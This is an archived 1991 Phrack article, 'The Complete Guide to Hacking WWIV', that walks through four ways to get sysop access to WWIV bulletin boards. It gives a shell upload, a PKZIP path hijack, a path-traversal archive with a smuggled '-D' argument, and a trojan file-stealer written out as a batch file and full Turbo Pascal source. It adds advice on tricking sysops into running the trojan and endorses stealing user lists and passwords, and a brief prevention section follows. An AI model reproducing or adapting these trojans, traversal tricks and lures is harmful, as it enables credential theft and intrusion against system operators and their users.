home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk3 / phrack34.5 < prev    next >
Text File  |  1992-09-26  |  18KB  |  417 lines

  1.  
  2.  
  3.  
  4.                                 ==Phrack Inc.==
  5.  
  6.                 Volume Three, Issue Thirty-four, File #5 of 11
  7.  
  8.                           ***                    ***
  9.                           ***                    ***
  10.                           *** The Complete Guide ***
  11.                           ***  to Hacking WWIV   ***
  12.                           ***                    ***
  13.                           ***     by Inhuman     ***
  14.                           ***   September 1991   ***
  15.                           ***                    ***
  16.                           ***                    ***
  17.  
  18.      WWIV is one of the most popular BBS programs in the country.  With
  19. thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a
  20. lot of support and community.  The nice thing about WWIV is that it is very
  21. easy to set up.  This makes it popular among the younger crowd of sysops who
  22. can't comprehend the complexities of fossil drivers and batch files.  In this
  23. file, I will discuss four methods of hacking WWIV to achieve sysop access and
  24. steal the user and configuration files.  Just remember the number one rule
  25. of hacking: Don't destroy, alter, or create files on someone else's computer,
  26. unless it's to cover your own trail.  Believe me, there is nothing lower than
  27. the scum who hack BBSes for the sheer pleasure of formatting someone else's
  28. hard drive.  But there is nothing wrong (except legally) with hacking a system
  29. to look at the sysop's files, get phone numbers, accounts, etc.  Good luck.
  30.  
  31. ***
  32. *** Technique #1: The Wildcard Upload
  33. ***
  34.  
  35.      This technique will only work on a board running an unregistered
  36. old version of DSZ and a version of WWIV previous to v4.12.  It is all
  37. based on the fact that if you do a wildcard upload (*.*), whatever file you
  38. upload will go into the same directory as DSZ.COM, which is often the main BBS
  39. directory.  So there are several methods of hacking using this technique.
  40.  
  41.      If the sysop is running an unmodified version of WWIV, you can simply
  42. compile a modded version of it with a backdoor and overwrite his copy.  Your
  43. new copy will not be loaded into memory until the BBS either shrinks out (by
  44. running an onliner or something), or the sysop terminates the BBS and runs it
  45. again.
  46.  
  47.      You can also have some fun with two strings that WWIV always recognizes at
  48. the NN: prompt: "!@-NETWORK-@!" and "!@-REMOTE-@!".  The first is used by
  49. WWIVnet to tell the BBS that it is receiving a net call.  If the BBS is part of
  50. a network and you type "!@-NETWORK-@!", it will then wait for the network
  51. password and other data.  If the board is not part of a network, it will just
  52. act like you typed an invalid user name.  The second string is reserved for
  53. whatever programs people wanted to write for WWIV, like an off-line reader or
  54. whatever.  Snarf (the file leeching utility) uses this.  If there is not a
  55. REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you
  56. entered an invalid user name.  So, what you can do is wildcard upload either
  57. REMOTE.COM or NETWORK.COM.  You want to call them COM files, because if the EXE
  58. files already exist, the COM ones will be called first.  If the BBS is part of
  59. a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will
  60. screw up network communications and the sysop will notice a lot faster.  Of
  61. course, if you're going straight in for the kill, it doesn't matter.
  62.  
  63.      So, what should NETWORK.COM or REMOTE.COM actually be? you ask.  Well, you
  64. can try renaming COMMAND.COM to one of those two, which would make a DOS shell
  65. for you when it was executed.  This is tricky, though, because you need to know
  66. his DOS version.  I suggest a batch file, compiled to a COM file using PC Mag's
  67. BAT2EXEC.  You can make the batch file have one line:
  68.  
  69. \COMMAND
  70.  
  71.      That way you don't have to worry about DOS versions.
  72.  
  73.      Remember that this method of hacking WWIV is almost completely obsolete.
  74. It is just included for reference, or for some old board run from an empty
  75. house where the sysop logs on twice a year or something.
  76.  
  77. ***
  78. *** Technique #2: The PKZIP Archive Hack
  79. ***
  80.  
  81.      Probably the most vulnerable part of WWIV is the archive section.  This
  82. section allows users to unZIP files to a temporary directory and ZIP the files
  83. you want into a temporary ZIP file, then download it.  This is useful if you
  84. download a file from another board, but one file in it is corrupted.  This way
  85. you don't have to re-download the whole file.  Anyway, on with the show.  Make
  86. a zip file that contains a file called PKZIP.BAT or COM or EXE.  It doesn't
  87. matter.  This file will be executed, so make it whatever you want, just like in
  88. Technique #1.  Make it COMMAND.COM, or a batch file, or a HD destroyer,
  89. whatever you want.  So you upload this file, and then type "E" to extract it.
  90.  
  91. It'll ask you what file to extract and you say the name of the file you just
  92. uploaded.  It'll then say "Extract What? " and you say "*.*".  It'll then unzip
  93. everything (your one file) into the TEMP directory.  Then go to the archive
  94. menu ("G") and pick "A" to add a file to archive.  It'll ask what file you want
  95. to add, and say anything, it doesn't matter.  At this point it will try to
  96. execute the command:
  97.  
  98. PKZIP TEMP.ZIP \TEMP\%1
  99.  
  100.      Where %1 is what you just entered.  The file pointer is already pointing
  101. to the temp directory, so instead of executing PKZIP from the DOS path, it'll
  102. execute the file sitting in the current directory, TEMP.  So then it runs PKZIP
  103. and you get your DOS shell or whatever.
  104.      If PKZIP does not work, you may want to try uploading another file, and
  105. use the same technique, but instead make it an ARC file and call the file in
  106. the archive PKPAK.
  107.  
  108.      This technique is relatively easy to defeat from the sysop's end, but
  109. often they are too lazy, or just haven't heard about it.
  110.  
  111. ***
  112. *** Technique #3: The -D Archive Hack
  113. ***
  114.  
  115.      This technique also plays on the openness of WWIV's archive system.  This
  116. is another method of getting a file into the root BBS directory, or anywhere on
  117. the hard drive, for that matter.
  118.  
  119.      First, create a temporary directory on your hard drive.  It doesn't matter
  120. what it's called.  We'll call it TEMP.  Then, make a sub-directory of TEMP
  121. called AA. It can actually be called any two-character combination, but we'll
  122. keep it nice and simple.  Then make a subdirectory of AA called WWIV.
  123.  
  124.      Place NETWORK.COM or REMOTE.COM or whatever in the directory
  125. \TEMP\AA\WWIV.  Then from the TEMP directory execute the command:
  126.  
  127. PKZIP -r -P STUFF.ZIP         <--- The case of "r" and "P" are important.
  128.  
  129.      This will create a zip file of all the contents of the directories, but
  130. with all of the directory names recursed and stored.  So if you do a PKZIP -V
  131. to list the files you should see AA\WWIV\REMOTE.COM, etc.
  132.  
  133.      Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search
  134. for "AA".  When you find it (it should occur twice), change it to "C:".  It is
  135. probably a good idea to do this twice, once with the subdirectory called WWIV,
  136. and another with it called BBS, since those are the two most common main BBS
  137. directory names for WWIV.  You may even want to try D: or E: in addition to C:.
  138. You could even work backwards, by forgetting the WWIV subdirectory, and just
  139. making it AA\REMOTE.COM, and changing the "AA" to "..".  This would be
  140. foolproof.  You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever.
  141.  
  142.      Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and
  143. type "E" to extract it to a temporary directory.  It'll ask you what file.
  144. Type "STUFF.ZIP".  It'll ask what you want to extract.  Type """-D".  It'll
  145. then execute:
  146.  
  147. PKUNZIP STUFF.ZIP ""-D
  148.  
  149.      It will unzip everything into the proper directory.  Voila.  The quotation
  150. marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check
  151. for the hyphen.  This method can only be defeated by modifying the source code,
  152. or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you
  153. lose your archive section.
  154.  
  155.  
  156.  
  157. ***
  158. *** Technique #4: The Trojan Horse File-Stealer
  159. ***
  160.  
  161.      This method, if executed properly, is almost impossible to defeat, and
  162. will conceivably work on any BBS program, if you know the directory structure
  163. well enough.  Once again, you need PC Mag's BAT2EXEC, or enough programming
  164. experience to write a program that will copy files from one place to another.
  165.      The basic principle is this: You get the sysop to run a program that you
  166. upload.  This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over*
  167. files that already exist in the transfer or gfiles area.  You then go download
  168. those files and you have the two most important files that exist for WWIV.
  169. Now, you need to do a certain amount of guess-work here.  WWIV has it's
  170. directories set up like this:
  171.  
  172.  
  173.  
  174.        --- TEMP
  175.       I              --- DIR1
  176.       I             I
  177.       I--- DLOADS---I--- DIR2
  178.       I             I
  179.       I              --- DIR3
  180. WWIV--I--- DATA
  181.       I              --- GDIR1
  182.       I             I
  183.       I--- GFILES---I--- GDIR2
  184.       I             I
  185.       I              --- GDIR3
  186.        --- MSGS
  187.  
  188.  
  189.      The sysop sets the names for the DIR1, DIR2, etc.  Often you have names
  190. like UPLOADS, GAMES, UTILS, etc.  For the gfile dirs you might have GENERAL,
  191. HUMOR, whatever.
  192.  
  193.      So you have to make a guess at the sysop's directory names.  Let's say he
  194. never moves his files from the upload directory.  Then do a directory list from
  195. the transfer menu and pick two files that you don't think anyone will download.
  196. Let's say you see:
  197.  
  198. RABBIT  .ZIP 164k : The History of Rabbits from Europe to the U.S.
  199. SCD     .COM  12k : SuperCD - changes dirs 3% faster than DOS's CD!
  200.  
  201.      So you then might write a batch file like this:
  202.  
  203. @ECHO OFF
  204. COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP
  205. COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP
  206. COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM
  207. COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM
  208.  
  209.      You'd then compile it to a COM file and upload it to the sysop directory.
  210. Obviously this file is going to be pretty small, so you have to make up 
  211. plausible use for it.  You could say it's an ANSI screen for your private BBS,
  212. and the sysop is invited.  This is good if you have a fake account as the
  213. president of some big cracking group.  You wouldn't believe how gullible some
  214. sysops are.  At any rate, use your imagination to get him to run the file.  And
  215. make it sound like he shouldn't distribute it, so he won't put it in some
  216. public access directory.
  217.  
  218.      There is a problem with simply using a batch file.  The output will look
  219. like:
  220.  
  221. 1 file(s) copied.
  222. File not found.
  223. 1 file(s) copied.
  224. File not found.
  225.  
  226.      That might get him curious enough to look at it with a hex editor, which
  227. would probably blow everything.  That's why it's better to write a program in
  228. your favorite language to do this.  Here is a program that searches specified
  229. drives and directories for CONFIG.DAT and USER.LST and copies them over the
  230. files of your choice.  It was written in Turbo Pascal v5.5:
  231.  
  232. Program CopyThisOverThat;
  233.  
  234. { Change the dir names to whatever you want.  If you change the number of
  235.   locations it checks, be sure to change the "num" constants as well  }
  236.  
  237. uses dos;
  238.  
  239. const
  240.    NumMainDirs = 5;
  241.    MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD',
  242.       'BOARD','WAR');
  243.    NumGfDirs = 3;
  244.    GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS');
  245.    NumSubGFDirs = 2;
  246.    SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC');
  247.  
  248.    NumDirsToTest = 3;
  249.    DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\');
  250.    {ok to test for one that doesn't exist}
  251.  
  252.    {Source file names include paths from the MAIN BBS subdir (e.g. "BBS")  }
  253.  
  254.    SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.DA
  255. T');
  256.  
  257.    { Dest file names are from subgfdirs }
  258.  
  259.    DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP');
  260.  
  261. var
  262.    p, q, r, x, y, dirN: byte;
  263.    bigs: word;
  264.    CurDir, BackDir: string[80];
  265.    f1, f2: file;
  266.    Info: pointer;
  267.    ok: boolean;
  268.  
  269. Procedure Sorry;
  270.  
  271. var
  272.    x, y: integer;
  273. begin
  274. for y := 1 to 1000 do
  275.    for x := 1 to 100 do
  276.       ;
  277. Writeln;
  278. Writeln ('<THIS IS DISPLAYED WHEN FINISHED>');  {change to something like }
  279. Writeln;                                        {Abnormal program termination}
  280. ChDir(BackDir);
  281. Halt;
  282. end;
  283.  
  284. begin
  285.  
  286. Write ('<THIS IS DISPLAYED WHILE SEARCHING>'); {change to something like }
  287.  
  288. {$I-}                                          {Loading...}
  289.  
  290. GetDir (0, BackDir);
  291. ChDir('\');
  292. for dirn := 1 to NumDirsToTest do
  293.    begin
  294.    ChDir(DirsToTest[dirn]);
  295.    if IOResult = 0 then
  296.       begin
  297.       for p := 1 to NumMainDirs do
  298.          begin
  299.          ChDir (MainDirs[p]);
  300.          if (IOResult <> 0) then
  301.             begin
  302.             if (p = NumMainDirs) and (dirn = NumDirsToTest) then
  303.                Sorry;
  304.             end else begin
  305.             p := NumMainDirs;
  306.             for q := 1 to NumGFDirs do
  307.                begin
  308.                ChDir (GFDirs[q]);
  309.                if (IOResult <> 0) then
  310.                   begin
  311.                   if (q = NumGFDirs) and (dirn=NumdirsToTest) then
  312.                      Sorry;
  313.                   end else begin
  314.                   q := NumGFDirs;
  315.                   for r := 1 to NumSubGFDirs do
  316.                      begin
  317.                      ChDir (SubGFDirs[r]);
  318.                      if (IOResult <> 0) then
  319.                         begin
  320.                         if r = NumSubGFDirs then
  321.                            Sorry;
  322.                         end else begin
  323.                         r := NumSubGFDirs;
  324.                         dirn := NumDirsToTest;
  325.                         ok := true;
  326.                         end;
  327.                      end;
  328.                   end;
  329.                end;
  330.             end;
  331.          end;
  332.       end;
  333.    end;
  334. GetDir (0, CurDir);
  335. ChDir ('..');
  336. ChDir ('..');
  337. for x := 1 to 2 do
  338.    begin
  339.    Assign (f1, SourceFileNames[x]);
  340.    Assign (f2, CurDir+DestFileNames[x]);
  341.    Reset (f1, 1);
  342.    if IOResult <> 0 then
  343.       begin
  344.       if x = 2 then
  345.          Sorry;
  346.       end else begin
  347.       ReWrite (f2, 1);
  348.       Bigs := FileSize(f1);
  349.       GetMem(Info, Bigs);
  350.       BlockRead(f1, Info^, Bigs);
  351.       BlockWrite (f2, Info^, Bigs);
  352.       FreeMem(Info, Bigs);
  353.       end;
  354.    end;
  355. Sorry;
  356. end.
  357.  
  358.      So hopefully the sysop runs this program and emails you with something
  359. like "Hey it didn't work bozo!".  Or you could make it work.  You could
  360. actually stick a BBS ad in the program or whatever.  It's up to you.  At any
  361. rate, now you go download those files that it copied the USER.LST and
  362. CONFIG.DAT over.  You can type out the CONFIG.DAT and the first word you see in
  363. all caps is the system password.  There are several utilities for WWIV that let
  364. you compile the USER.LST to a text file.  You can find something like that on a
  365. big WWIV board, or you can try to figure it out with a text or hex editor.  At
  366. any rate, once you have those two files, you're in good shape.
  367.  
  368.      You could also use a batch file like that in place of one that calls
  369. COMMAND.COM for something like REMOTE.COM.  It's up to you.
  370.  
  371. ***
  372. *** Hacking Prevention
  373. ***
  374.  
  375.      So you are the sysop of a WWIV board, and are reading this file with
  376. growing dismay.  Have no fear, if you have patience, almost all of these
  377. methods can be fixed.
  378.  
  379.      To eliminate the wildcard upload, all you have to do it get a current copy
  380. of WWIV (4.20), and the latest version of DSZ.  It's all been fixed.  To fix
  381. the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP,
  382. PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have.  So your
  383. command lines should look like:
  384.  
  385. \DOS\PKZIP -V %1
  386.  
  387.      Or something similar.  That will fix that nicely.  To eliminate the -D
  388. method, you have to make some modifications to the source code if you want to
  389. keep your archive section.  Goose, sysop of the Twilight Zone BBS in VA,
  390. puts out a NOHACK mod, which is updated regularly.  It fixes ALL of these
  391. methods except the last.  The latest version of NOHACK is v2.4.  If you are a
  392. WWIV sysop, put it in.
  393.  
  394.      I can think of two ways to stop the last method, but neither of them are
  395. easy, and both require source code modifications.  You could keep track of the
  396. filesize of a file when it's uploaded.  Then when someone goes to download it,
  397. you could check the actual filesize with the size when it was uploaded.  If
  398. they differ, it wouldn't let you download it.  You could do the same with the
  399. date.  Although either method could be gotten around with enough patience.
  400.  
  401.      For a virtually unhackable system, voice validate all users, have all
  402. uploads go to the sysop directory so you can look over them first, and don't
  403. run any programs.  Of course, this is very tedious, but that is the price
  404. of a secure BBS.
  405.  
  406. ***
  407. *** Thanks
  408. ***
  409.  
  410.      Thanks to Fenris Wolf for teaching me about the -D method, to Steve
  411. for help with the CopyThisOverThat program, and to Insight for proofing this
  412. file.
  413.  
  414. *******************************************************************************
  415.  
  416. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  417.